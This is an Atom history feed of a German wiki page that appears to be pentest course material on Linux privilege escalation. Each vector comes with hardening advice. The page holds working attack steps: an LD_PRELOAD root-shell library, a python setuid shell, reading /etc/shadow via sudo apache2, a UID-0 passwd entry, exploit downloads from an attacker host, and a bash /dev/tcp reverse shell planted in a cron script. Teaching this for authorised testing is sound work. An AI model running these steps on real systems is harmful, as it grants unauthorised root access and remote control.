<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="de">
	<id>https://xinux.net/index.php?action=history&amp;feed=atom&amp;title=Linux_Privilege_Escalation</id>
	<title>Linux Privilege Escalation - Versionsgeschichte</title>
	<link rel="self" type="application/atom+xml" href="https://xinux.net/index.php?action=history&amp;feed=atom&amp;title=Linux_Privilege_Escalation"/>
	<link rel="alternate" type="text/html" href="https://xinux.net/index.php?title=Linux_Privilege_Escalation&amp;action=history"/>
	<updated>2026-08-23T15:58:56Z</updated>
	<subtitle>Versionsgeschichte dieser Seite in Xinux Wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://xinux.net/index.php?title=Linux_Privilege_Escalation&amp;diff=72814&amp;oldid=prev</id>
		<title>Thomas.will: Die Seite wurde neu angelegt: „= Linux Privilege Escalation =  Privilege Escalation (Rechteausweitung) bezeichnet den Übergang von einem Konto mit geringen Rechten zu einem mit höheren Rec…“</title>
		<link rel="alternate" type="text/html" href="https://xinux.net/index.php?title=Linux_Privilege_Escalation&amp;diff=72814&amp;oldid=prev"/>
		<updated>2026-08-18T18:17:51Z</updated>

		<summary type="html">&lt;p&gt;Die Seite wurde neu angelegt: „= Linux Privilege Escalation =  Privilege Escalation (Rechteausweitung) bezeichnet den Übergang von einem Konto mit geringen Rechten zu einem mit höheren Rec…“&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Neue Seite&lt;/b&gt;&lt;/p&gt;&lt;div&gt;= Linux Privilege Escalation =&lt;br /&gt;
&lt;br /&gt;
Privilege Escalation (Rechteausweitung) bezeichnet den Übergang von einem Konto mit&lt;br /&gt;
geringen Rechten zu einem mit höheren Rechten – im Idealfall '''root'''. Technisch&lt;br /&gt;
gesehen ist es das Ausnutzen einer Schwachstelle, eines Design­fehlers oder einer&lt;br /&gt;
Fehlkonfiguration, um Zugriff auf Ressourcen zu erlangen, die normalen Benutzern&lt;br /&gt;
verwehrt sind.&lt;br /&gt;
&lt;br /&gt;
Bei einem realen Penetrationstest erhält man den ersten Zugang (''foothold'') fast nie&lt;br /&gt;
direkt als Administrator. Die Rechteausweitung ist deshalb der Schritt, der aus einem&lt;br /&gt;
eingeschränkten Zugang echte Systemkontrolle macht: Passwörter zurücksetzen,&lt;br /&gt;
Zugriffskontrollen umgehen, Konfigurationen ändern, Persistenz einrichten.&lt;br /&gt;
&lt;br /&gt;
'''Grundregel:''' Sofern nicht eine einzelne Schwachstelle direkt eine root-Shell&lt;br /&gt;
liefert, beruht Rechteausweitung fast immer auf Fehlkonfigurationen und zu laxen&lt;br /&gt;
Berechtigungen. Genau deshalb ist dieser Artikel auch für die Verteidigerseite relevant –&lt;br /&gt;
jeder Vektor endet mit einem Abschnitt zur Absicherung.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Aufbau: vom einfachen (Enumeration) zum schweren (einzelne Vektoren). Jeder Vektor&lt;br /&gt;
     folgt dem Schema Prinzip -&amp;gt; Erkennung -&amp;gt; Ausnutzung -&amp;gt; Absicherung. --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Enumeration ==&lt;br /&gt;
&lt;br /&gt;
Enumeration ist immer der erste Schritt nach dem Zugang zu einem System. Anders als bei&lt;br /&gt;
CTF-Maschinen endet ein Test nicht mit dem ersten Zugang – nach der Kompromittierung ist&lt;br /&gt;
Enumeration genauso wichtig wie davor. Man verschafft sich einen Überblick über System,&lt;br /&gt;
Benutzer, Dienste und Fehlkonfigurationen.&lt;br /&gt;
&lt;br /&gt;
=== System identifizieren ===&lt;br /&gt;
&lt;br /&gt;
;Hostname (verrät oft die Rolle im Netz, z. B. SQL-PROD-01)&lt;br /&gt;
*hostname&lt;br /&gt;
&lt;br /&gt;
;Kernel und Architektur anzeigen (Basis für die Suche nach Kernel-Exploits)&lt;br /&gt;
*uname -a&lt;br /&gt;
&lt;br /&gt;
;Kernelversion und ggf. installierter Compiler&lt;br /&gt;
*cat /proc/version&lt;br /&gt;
&lt;br /&gt;
;Distribution und Version (modern, ersetzt /etc/issue)&lt;br /&gt;
*cat /etc/os-release&lt;br /&gt;
&lt;br /&gt;
Jede dieser Angaben lässt sich fälschen. Für ein belastbares Bild immer mehrere Quellen&lt;br /&gt;
vergleichen.&lt;br /&gt;
&lt;br /&gt;
=== Prozesse und Umgebung ===&lt;br /&gt;
&lt;br /&gt;
;Alle laufenden Prozesse mit Benutzer anzeigen&lt;br /&gt;
*ps aux&lt;br /&gt;
&lt;br /&gt;
;Prozessbaum anzeigen&lt;br /&gt;
*ps axjf&lt;br /&gt;
&lt;br /&gt;
;Umgebungsvariablen anzeigen (interessant: PATH, LD_PRELOAD, HISTFILE)&lt;br /&gt;
*env&lt;br /&gt;
&lt;br /&gt;
Ein Compiler oder Interpreter im PATH (gcc, python3, perl) kann später zum Bauen bzw.&lt;br /&gt;
Ausführen von Exploit-Code genutzt werden.&lt;br /&gt;
&lt;br /&gt;
=== Benutzer und Rechte ===&lt;br /&gt;
&lt;br /&gt;
;Eigene UID, GID und Gruppen anzeigen&lt;br /&gt;
*id&lt;br /&gt;
&lt;br /&gt;
;Rechte eines anderen Benutzers prüfen&lt;br /&gt;
*id it2XX-user&lt;br /&gt;
&lt;br /&gt;
;Benutzer des Systems auflisten&lt;br /&gt;
*cat /etc/passwd&lt;br /&gt;
&lt;br /&gt;
;Nur Benutzernamen extrahieren (z. B. für Brute-Force-Listen)&lt;br /&gt;
*cat /etc/passwd | cut -d &amp;quot;:&amp;quot; -f 1&lt;br /&gt;
&lt;br /&gt;
;Nur echte Benutzer mit Home-Verzeichnis herausfiltern&lt;br /&gt;
*cat /etc/passwd | grep home&lt;br /&gt;
&lt;br /&gt;
;Frühere Befehle des aktuellen Benutzers ansehen (selten mit Passwörtern)&lt;br /&gt;
*cat ~/.bash_history&lt;br /&gt;
&lt;br /&gt;
;Sudo-Rechte des aktuellen Benutzers auflisten&lt;br /&gt;
*sudo -l&lt;br /&gt;
&lt;br /&gt;
Bei der Suche nach versteckten Dateien immer &amp;lt;code&amp;gt;-la&amp;lt;/code&amp;gt; verwenden – eine&lt;br /&gt;
&amp;lt;code&amp;gt;.secret.txt&amp;lt;/code&amp;gt; wird von &amp;lt;code&amp;gt;ls&amp;lt;/code&amp;gt; allein übersehen.&lt;br /&gt;
&lt;br /&gt;
;Verzeichnisinhalt inklusive versteckter Dateien anzeigen&lt;br /&gt;
*ls -la&lt;br /&gt;
&lt;br /&gt;
=== Netzwerk ===&lt;br /&gt;
&lt;br /&gt;
Die alten Werkzeuge &amp;lt;code&amp;gt;ifconfig&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;netstat&amp;lt;/code&amp;gt; und &amp;lt;code&amp;gt;route&amp;lt;/code&amp;gt;&lt;br /&gt;
(Paket net-tools) sind veraltet und auf modernen Distributionen oft nicht mehr&lt;br /&gt;
vorinstalliert. Standard ist heute die &amp;lt;code&amp;gt;ip&amp;lt;/code&amp;gt;-Suite und &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
;Netzwerk-Interfaces anzeigen (Hinweis auf weitere Netze / Pivoting)&lt;br /&gt;
*ip a&lt;br /&gt;
&lt;br /&gt;
;Routing-Tabelle anzeigen&lt;br /&gt;
*ip route&lt;br /&gt;
&lt;br /&gt;
;Lauschende TCP-/UDP-Ports inkl. Prozess anzeigen (ersetzt netstat -tulpn)&lt;br /&gt;
*ss -tulpn&lt;br /&gt;
&lt;br /&gt;
Sieht man Interfaces oder Routen in fremde Netze, ist das System möglicherweise ein&lt;br /&gt;
Sprungbrett (''Pivot'') in ein weiteres Netzwerk.&lt;br /&gt;
&lt;br /&gt;
=== Suche mit find ===&lt;br /&gt;
&lt;br /&gt;
Das eingebaute &amp;lt;code&amp;gt;find&amp;lt;/code&amp;gt; ist eines der wichtigsten Werkzeuge. Es erzeugt schnell&lt;br /&gt;
viele Fehlermeldungen (Permission denied), deshalb wird &amp;lt;code&amp;gt;2&amp;gt;/dev/null&amp;lt;/code&amp;gt;&lt;br /&gt;
angehängt, um die Ausgabe lesbar zu halten.&lt;br /&gt;
&lt;br /&gt;
;Datei im aktuellen Verzeichnis suchen&lt;br /&gt;
*find . -name flag1.txt&lt;br /&gt;
&lt;br /&gt;
;Dateien mit SUID-Bit finden (zentral für die spätere Ausnutzung)&lt;br /&gt;
*find / -perm -u=s -type f 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
;Weltbeschreibbare Verzeichnisse finden&lt;br /&gt;
*find / -writable -type d 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
;Nach Interpretern/Compilern suchen&lt;br /&gt;
*find / -name &amp;quot;python3*&amp;quot; 2&amp;gt;/dev/null&lt;br /&gt;
*find / -name &amp;quot;gcc*&amp;quot; 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
=== Automatisierte Werkzeuge ===&lt;br /&gt;
&lt;br /&gt;
Diese Skripte sparen Zeit, können aber Vektoren übersehen und Fehlalarme erzeugen. Sie&lt;br /&gt;
ersetzen kein Verständnis – sie beschleunigen nur die manuelle Arbeit. Welches Werkzeug&lt;br /&gt;
läuft, hängt von der Zielumgebung ab (z. B. kein Python vorhanden → kein Python-Skript).&lt;br /&gt;
&lt;br /&gt;
;LinPEAS (aktuell gepflegtes Repo peass-ng)&lt;br /&gt;
*https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS&lt;br /&gt;
&lt;br /&gt;
;Linux Smart Enumeration (übersichtliche, gestufte Ausgabe)&lt;br /&gt;
*https://github.com/diego-treitos/linux-smart-enumeration&lt;br /&gt;
&lt;br /&gt;
;Linux Exploit Suggester (LES)&lt;br /&gt;
*https://github.com/The-Z-Labs/linux-exploit-suggester&lt;br /&gt;
&lt;br /&gt;
Alle drei lassen sich vom Angreifer-Rechner per HTTP-Server bereitstellen und auf dem Ziel&lt;br /&gt;
herunterladen (siehe Abschnitt Kernel-Exploits).&lt;br /&gt;
&lt;br /&gt;
== Kernel-Exploits ==&lt;br /&gt;
&lt;br /&gt;
'''Prinzip:''' Der Kernel verwaltet die Kommunikation zwischen Speicher, Hardware und&lt;br /&gt;
Anwendungen und läuft mit höchsten Rechten. Eine erfolgreiche Kernel-Schwachstelle führt&lt;br /&gt;
daher potenziell direkt zu root.&lt;br /&gt;
&lt;br /&gt;
Die Methodik ist einfach:&lt;br /&gt;
# Kernelversion ermitteln (&amp;lt;code&amp;gt;uname -a&amp;lt;/code&amp;gt;)&lt;br /&gt;
# Exploit-Code für genau diese Version suchen&lt;br /&gt;
# Exploit ausführen&lt;br /&gt;
&lt;br /&gt;
'''Warnung:''' Ein fehlgeschlagener Kernel-Exploit kann das System zum Absturz bringen.&lt;br /&gt;
In einem realen Auftrag ist das nur zulässig, wenn dieses Risiko ausdrücklich im Scope&lt;br /&gt;
vereinbart wurde. Immer zuerst verstehen, was der Exploit tut – manche verändern das&lt;br /&gt;
System dauerhaft.&lt;br /&gt;
&lt;br /&gt;
'''Recherche:''' Suchmaschinen, [https://www.cvedetails.com/ cvedetails.com],&lt;br /&gt;
&amp;lt;code&amp;gt;searchsploit&amp;lt;/code&amp;gt; lokal, sowie LES. Nicht zu spezifisch nach der exakten&lt;br /&gt;
Kernelversion suchen – sonst gehen brauchbare Treffer verloren.&lt;br /&gt;
&lt;br /&gt;
'''Historischer Kontext (wichtig fürs Verständnis, aber nicht mehr universell):'''&lt;br /&gt;
Klassiker wie Dirty COW (CVE-2016-5195) oder PwnKit (CVE-2021-4034) eignen sich gut, um&lt;br /&gt;
die Methodik zu zeigen, funktionieren auf aktuell gepatchten Systemen aber nicht mehr.&lt;br /&gt;
Sie taugen als Lehrbeispiel, nicht als „läuft überall&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
;Exploit-Code vom Angreifer-Rechner bereitstellen (moderne Python-3-Syntax)&lt;br /&gt;
*python3 -m http.server 8000&lt;br /&gt;
&lt;br /&gt;
;Auf dem Ziel herunterladen&lt;br /&gt;
*wget http://10.0.2.2XX:8000/exploit.c&lt;br /&gt;
*curl -O http://10.0.2.2XX:8000/exploit.c&lt;br /&gt;
&lt;br /&gt;
'''Absicherung:''' Zeitnahes Patch-Management, ''unattended-upgrades'' für&lt;br /&gt;
Sicherheitsupdates, Kernel-Livepatching wo verfügbar, sowie das Einschränken von&lt;br /&gt;
Compilern auf produktiven Systemen. Ein HIDS (in unseren Kursen Wazuh mit syscheck)&lt;br /&gt;
erkennt neu abgelegte Exploit-Dateien in &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Sudo ==&lt;br /&gt;
&lt;br /&gt;
'''Prinzip:''' &amp;lt;code&amp;gt;sudo&amp;lt;/code&amp;gt; erlaubt das Ausführen von Programmen mit root-Rechten.&lt;br /&gt;
Administratoren geben Benutzern manchmal gezielt einzelne Programme frei (z. B. darf ein&lt;br /&gt;
Junior-SOC-Analyst nmap mit root ausführen, ohne vollen root-Zugriff zu haben). Genau&lt;br /&gt;
diese Freigaben lassen sich oft missbrauchen.&lt;br /&gt;
&lt;br /&gt;
;Eigene Sudo-Freigaben anzeigen&lt;br /&gt;
*sudo -l&lt;br /&gt;
&lt;br /&gt;
Für jedes freigegebene Programm prüfen, ob es sich zum Ausbruch eignet.&lt;br /&gt;
[https://gtfobins.github.io/ GTFOBins] ist dafür die zentrale Referenz – filtert man dort&lt;br /&gt;
nach „Sudo&amp;quot;, zeigt es zu jedem Binary den passenden Ausbruch.&lt;br /&gt;
&lt;br /&gt;
=== Anwendungsfunktionen ausnutzen ===&lt;br /&gt;
&lt;br /&gt;
Manche Programme haben keinen fertigen GTFOBins-Eintrag, lassen sich aber über eigene&lt;br /&gt;
Funktionen missbrauchen. Beispiel Apache2: Die Option &amp;lt;code&amp;gt;-f&amp;lt;/code&amp;gt; gibt eine alternative&lt;br /&gt;
Konfigurationsdatei an. Lädt man damit &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;, gibt die Fehlermeldung&lt;br /&gt;
die erste Zeile der Datei preis.&lt;br /&gt;
&lt;br /&gt;
;/etc/shadow über eine erzwungene Apache-Fehlermeldung auslesen&lt;br /&gt;
*sudo apache2 -f /etc/shadow&lt;br /&gt;
&lt;br /&gt;
=== LD_PRELOAD ===&lt;br /&gt;
&lt;br /&gt;
'''Prinzip:''' &amp;lt;code&amp;gt;LD_PRELOAD&amp;lt;/code&amp;gt; lädt eine gewählte Shared Library vor allen&lt;br /&gt;
anderen. Ist in der Sudo-Konfiguration &amp;lt;code&amp;gt;env_keep+=LD_PRELOAD&amp;lt;/code&amp;gt; gesetzt, bleibt&lt;br /&gt;
die Variable auch unter sudo erhalten – man kann eine eigene Bibliothek einschleusen, die&lt;br /&gt;
beim Start eine root-Shell öffnet.&lt;br /&gt;
&lt;br /&gt;
In der Ausgabe von &amp;lt;code&amp;gt;sudo -l&amp;lt;/code&amp;gt; muss dazu &amp;lt;code&amp;gt;env_keep+=LD_PRELOAD&amp;lt;/code&amp;gt;&lt;br /&gt;
auftauchen.&lt;br /&gt;
&lt;br /&gt;
;Shared Library, die eine root-Shell startet (shell.c)&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/types.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
void _init() {&lt;br /&gt;
    unsetenv(&amp;quot;LD_PRELOAD&amp;quot;);&lt;br /&gt;
    setgid(0);&lt;br /&gt;
    setuid(0);&lt;br /&gt;
    system(&amp;quot;/bin/bash&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;Als Shared Object kompilieren&lt;br /&gt;
*gcc -fPIC -shared -o shell.so shell.c -nostartfiles&lt;br /&gt;
&lt;br /&gt;
;Ein per sudo erlaubtes Programm mit LD_PRELOAD auf die eigene Library starten&lt;br /&gt;
*sudo LD_PRELOAD=/home/it2XX-user/shell.so apache2&lt;br /&gt;
&lt;br /&gt;
Hinweis: LD_PRELOAD wird ignoriert, wenn die reale UID von der effektiven UID abweicht.&lt;br /&gt;
&lt;br /&gt;
'''Absicherung:''' Sudo-Freigaben minimal halten (Prinzip der geringsten Rechte), niemals&lt;br /&gt;
Editoren, Interpreter oder Programme mit Shell-Escape freigeben, &amp;lt;code&amp;gt;env_reset&amp;lt;/code&amp;gt;&lt;br /&gt;
aktiv lassen und &amp;lt;code&amp;gt;env_keep&amp;lt;/code&amp;gt; nicht aufweichen. Jede Freigabe vorab gegen&lt;br /&gt;
GTFOBins prüfen. Sudo-Aufrufe werden protokolliert und lassen sich mit CrowdSec/Wazuh&lt;br /&gt;
auswerten.&lt;br /&gt;
&lt;br /&gt;
== SUID / SGID ==&lt;br /&gt;
&lt;br /&gt;
'''Prinzip:''' Das SUID-Bit (''Set User ID'') bzw. SGID-Bit lässt eine Datei mit den&lt;br /&gt;
Rechten des '''Datei-Eigentümers''' bzw. der Gruppe laufen – nicht mit denen des&lt;br /&gt;
ausführenden Benutzers. Ist der Eigentümer root und das Binary missbrauchbar, führt das zu&lt;br /&gt;
root-Rechten. Solche Dateien tragen ein &amp;lt;code&amp;gt;s&amp;lt;/code&amp;gt; in den Berechtigungen.&lt;br /&gt;
&lt;br /&gt;
;Dateien mit SUID- oder SGID-Bit auflisten&lt;br /&gt;
*find / -type f -perm -04000 -ls 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
Gefundene Binaries mit [https://gtfobins.github.io/#+suid GTFOBins (Filter SUID)]&lt;br /&gt;
abgleichen. Nicht jedes SUID-Binary ist ausnutzbar – oft braucht es Zwischenschritte.&lt;br /&gt;
&lt;br /&gt;
=== Passwörter über /etc/shadow knacken ===&lt;br /&gt;
&lt;br /&gt;
Erlaubt ein SUID-Binary (oder eine Fehlkonfiguration) das Lesen von &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;,&lt;br /&gt;
lässt sich daraus mit &amp;lt;code&amp;gt;unshadow&amp;lt;/code&amp;gt; eine für John the Ripper knackbare Datei bauen.&lt;br /&gt;
&lt;br /&gt;
;/etc/passwd und /etc/shadow zusammenführen&lt;br /&gt;
*unshadow passwd.txt shadow.txt &amp;gt; passwords.txt&lt;br /&gt;
&lt;br /&gt;
;Mit John the Ripper und Wortliste knacken&lt;br /&gt;
*john --wordlist=/usr/share/wordlists/rockyou.txt passwords.txt&lt;br /&gt;
&lt;br /&gt;
=== Neuen root-Benutzer anlegen ===&lt;br /&gt;
&lt;br /&gt;
Erlaubt ein Vektor das '''Schreiben''' in &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt;, kann man das Knacken&lt;br /&gt;
umgehen und direkt einen zweiten Benutzer mit UID 0 eintragen.&lt;br /&gt;
&lt;br /&gt;
;Passwort-Hash erzeugen (SHA-512, entspricht modernen /etc/shadow-Hashes)&lt;br /&gt;
*openssl passwd -6 -salt xyz Passwort123&lt;br /&gt;
&lt;br /&gt;
;Zeile in /etc/passwd (UID 0 = root); root:/bin/bash liefert eine root-Shell&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
hacker:$6$xyz$&amp;lt;hash&amp;gt;:0:0:root:/root:/bin/bash&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;Zum neuen Benutzer wechseln&lt;br /&gt;
*su hacker&lt;br /&gt;
&lt;br /&gt;
'''Hinweis:''' Der alte Weg mit &amp;lt;code&amp;gt;openssl passwd -1&amp;lt;/code&amp;gt; (MD5) funktioniert noch,&lt;br /&gt;
ist aber nicht mehr repräsentativ – aktuelle Systeme nutzen SHA-512 (&amp;lt;code&amp;gt;$6$&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
'''Absicherung:''' SUID-Bestand regelmäßig inventarisieren und mit einem Soll-Zustand&lt;br /&gt;
vergleichen (Wazuh syscheck / FIM auf &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;&lt;br /&gt;
und SUID-Verzeichnissen). SUID von nicht benötigten Binaries entfernen&lt;br /&gt;
(&amp;lt;code&amp;gt;chmod u-s&amp;lt;/code&amp;gt;), &amp;lt;code&amp;gt;nosuid&amp;lt;/code&amp;gt; als Mount-Option für &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;,&lt;br /&gt;
&amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; und Wechseldatenträger setzen.&lt;br /&gt;
&lt;br /&gt;
== Capabilities ==&lt;br /&gt;
&lt;br /&gt;
'''Prinzip:''' Capabilities zerlegen die root-Allmacht in einzelne Fähigkeiten. Braucht&lt;br /&gt;
ein Programm nur eine Teilfähigkeit (z. B. rohe Sockets für ping), gibt man ihm genau die,&lt;br /&gt;
statt SUID-root. Bequem für Admins – aber eine falsch gesetzte Capability wie&lt;br /&gt;
&amp;lt;code&amp;gt;cap_setuid&amp;lt;/code&amp;gt; ist ein direkter Weg zu root.&lt;br /&gt;
&lt;br /&gt;
;Gesetzte Capabilities systemweit anzeigen&lt;br /&gt;
*getcap -r / 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
Interessant sind vor allem &amp;lt;code&amp;gt;cap_setuid&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;cap_dac_read_search&amp;lt;/code&amp;gt; und&lt;br /&gt;
&amp;lt;code&amp;gt;cap_dac_override&amp;lt;/code&amp;gt;. Zeigt die Ausgabe z. B. &amp;lt;code&amp;gt;cap_setuid+ep&amp;lt;/code&amp;gt; bei einer&lt;br /&gt;
Kopie von vim oder python, lässt sich damit die UID auf 0 setzen.&lt;br /&gt;
&lt;br /&gt;
;Beispiel: python-Kopie mit cap_setuid nutzt setuid(0) für eine root-Shell&lt;br /&gt;
*./python3 -c 'import os; os.setuid(0); os.system(&amp;quot;/bin/bash&amp;quot;)'&lt;br /&gt;
&lt;br /&gt;
Die passende Payload zu jedem Binary steht bei GTFOBins unter „Capabilities&amp;quot;. Anders als&lt;br /&gt;
SUID sind Capabilities '''nicht''' über die SUID-Suche auffindbar – man braucht&lt;br /&gt;
&amp;lt;code&amp;gt;getcap&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Absicherung:''' Capabilities nur gezielt und minimal vergeben, Bestand mit&lt;br /&gt;
&amp;lt;code&amp;gt;getcap -r /&amp;lt;/code&amp;gt; regelmäßig prüfen und in die FIM-Überwachung aufnehmen. Niemals&lt;br /&gt;
&amp;lt;code&amp;gt;cap_setuid&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;cap_setgid&amp;lt;/code&amp;gt; oder &amp;lt;code&amp;gt;cap_dac_*&amp;lt;/code&amp;gt; an Interpreter&lt;br /&gt;
oder Editoren binden.&lt;br /&gt;
&lt;br /&gt;
== Cron-Jobs ==&lt;br /&gt;
&lt;br /&gt;
'''Prinzip:''' Cron-Jobs führen Skripte oder Programme zeitgesteuert aus – standardmäßig&lt;br /&gt;
mit den Rechten ihres Eigentümers, nicht des aktuellen Benutzers. Läuft ein Job als root&lt;br /&gt;
und man kann das ausgeführte Skript verändern, läuft das eigene Skript mit root-Rechten.&lt;br /&gt;
&lt;br /&gt;
;Systemweite Cron-Jobs lesen (für alle Benutzer lesbar)&lt;br /&gt;
*cat /etc/crontab&lt;br /&gt;
&lt;br /&gt;
In der Ausgabe interessieren Zeilen mit Benutzer &amp;lt;code&amp;gt;root&amp;lt;/code&amp;gt;. In Testumgebungen&lt;br /&gt;
laufen Jobs oft jede Minute, in der Praxis eher täglich/wöchentlich.&lt;br /&gt;
&lt;br /&gt;
=== Fall 1: Beschreibbares Skript ===&lt;br /&gt;
&lt;br /&gt;
Ist das vom Cron-Job aufgerufene Skript für den eigenen Benutzer beschreibbar, ersetzt man&lt;br /&gt;
seinen Inhalt durch eine Reverse-Shell. (Reverse-Shell statt Bind-Shell, um die&lt;br /&gt;
System­integrität im Auftrag nicht zu gefährden. &amp;lt;code&amp;gt;nc&amp;lt;/code&amp;gt; unterstützt&lt;br /&gt;
&amp;lt;code&amp;gt;-e&amp;lt;/code&amp;gt; oft nicht – daher die Bash-Variante.)&lt;br /&gt;
&lt;br /&gt;
;Inhalt des aufgerufenen Skripts durch eine Reverse-Shell ersetzen&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
bash -i &amp;gt;&amp;amp; /dev/tcp/10.0.2.2XX/6666 0&amp;gt;&amp;amp;1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;Listener auf dem Angreifer-Rechner starten&lt;br /&gt;
*nc -lnvp 6666&lt;br /&gt;
&lt;br /&gt;
=== Fall 2: Skript fehlt, PATH relativ ===&lt;br /&gt;
&lt;br /&gt;
Häufiges Change-Management-Problem: Ein Skript wird gelöscht, der Cron-Job bleibt. Ist der&lt;br /&gt;
Pfad nicht absolut angegeben, sucht cron entlang der &amp;lt;code&amp;gt;PATH&amp;lt;/code&amp;gt;-Variable aus&lt;br /&gt;
&amp;lt;code&amp;gt;/etc/crontab&amp;lt;/code&amp;gt;. Steht dort ein von uns beschreibbares Verzeichnis (oft das&lt;br /&gt;
Home-Verzeichnis) vor den Systempfaden, legt man dort ein gleichnamiges Skript ab.&lt;br /&gt;
&lt;br /&gt;
;Prüfen, ob das Skript noch existiert&lt;br /&gt;
*locate antivirus.sh&lt;br /&gt;
&lt;br /&gt;
Fehlt es, legt man &amp;lt;code&amp;gt;~/antivirus.sh&amp;lt;/code&amp;gt; mit der Reverse-Shell von oben an.&lt;br /&gt;
&lt;br /&gt;
=== Fall 3: Wildcards ===&lt;br /&gt;
&lt;br /&gt;
Findet man einen bestehenden Cron-Job, lohnt es, die verwendeten Werkzeuge zu verstehen.&lt;br /&gt;
&amp;lt;code&amp;gt;tar&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;7z&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;rsync&amp;lt;/code&amp;gt; u. a. lassen sich über ihre&lt;br /&gt;
Wildcard-Verarbeitung ausnutzen (''wildcard injection''), wenn der Job mit&lt;br /&gt;
&amp;lt;code&amp;gt;*&amp;lt;/code&amp;gt; in einem beschreibbaren Verzeichnis arbeitet.&lt;br /&gt;
&lt;br /&gt;
'''Absicherung:''' Skripte, die per root-Cron laufen, gehören root und dürfen nur für root&lt;br /&gt;
schreibbar sein (&amp;lt;code&amp;gt;chmod 700&amp;lt;/code&amp;gt;, Verzeichnis ebenso). Immer absolute Pfade in&lt;br /&gt;
Cron-Jobs verwenden. Verwaiste Jobs im Change-Management sauber entfernen. FIM auf&lt;br /&gt;
Cron-Verzeichnisse und die referenzierten Skripte legen.&lt;br /&gt;
&lt;br /&gt;
== PATH ==&lt;br /&gt;
&lt;br /&gt;
'''Prinzip:''' &amp;lt;code&amp;gt;PATH&amp;lt;/code&amp;gt; ist die Umgebungsvariable, die dem System sagt, wo nach&lt;br /&gt;
ausführbaren Dateien gesucht wird. Für jeden Befehl ohne absoluten Pfad sucht Linux die&lt;br /&gt;
Verzeichnisse aus &amp;lt;code&amp;gt;PATH&amp;lt;/code&amp;gt; der Reihe nach ab. Ruft ein SUID-Programm intern einen&lt;br /&gt;
Befehl '''ohne''' absoluten Pfad auf und man kann ein beschreibbares Verzeichnis vor die&lt;br /&gt;
Systempfade setzen, führt das SUID-Programm die untergeschobene Datei mit root aus.&lt;br /&gt;
&lt;br /&gt;
Vor dem Test vier Fragen klären:&lt;br /&gt;
# Welche Verzeichnisse liegen im PATH?&lt;br /&gt;
# Hat der eigene Benutzer Schreibrechte in einem davon?&lt;br /&gt;
# Lässt sich PATH ändern?&lt;br /&gt;
# Gibt es ein SUID-Programm, das einen relativen Befehl aufruft?&lt;br /&gt;
&lt;br /&gt;
;Aktuellen PATH anzeigen&lt;br /&gt;
*echo $PATH&lt;br /&gt;
&lt;br /&gt;
Beispiel: Ein SUID-Programm ruft intern &amp;lt;code&amp;gt;system(&amp;quot;thm&amp;quot;)&amp;lt;/code&amp;gt; auf – also ein Binary&lt;br /&gt;
namens &amp;lt;code&amp;gt;thm&amp;lt;/code&amp;gt; ohne Pfad.&lt;br /&gt;
&lt;br /&gt;
;Beschreibbare Verzeichnisse finden und bereinigt ausgeben&lt;br /&gt;
*find / -writable 2&amp;gt;/dev/null | cut -d &amp;quot;/&amp;quot; -f 2,3 | grep -v proc | sort -u&lt;br /&gt;
&lt;br /&gt;
Meist ist &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt; am einfachsten beschreibbar, steht aber nicht im PATH.&lt;br /&gt;
&lt;br /&gt;
;/tmp an den Anfang des PATH setzen&lt;br /&gt;
*export PATH=/tmp:$PATH&lt;br /&gt;
&lt;br /&gt;
;/bin/bash als gesuchtes Binary „thm&amp;quot; hinterlegen und ausführbar machen&lt;br /&gt;
*echo &amp;quot;/bin/bash&amp;quot; &amp;gt; /tmp/thm&lt;br /&gt;
*chmod 777 /tmp/thm&lt;br /&gt;
&lt;br /&gt;
Beim nächsten Start findet das SUID-Programm zuerst &amp;lt;code&amp;gt;/tmp/thm&amp;lt;/code&amp;gt; und startet&lt;br /&gt;
damit – da es als root läuft, erhält man eine root-Shell.&lt;br /&gt;
&lt;br /&gt;
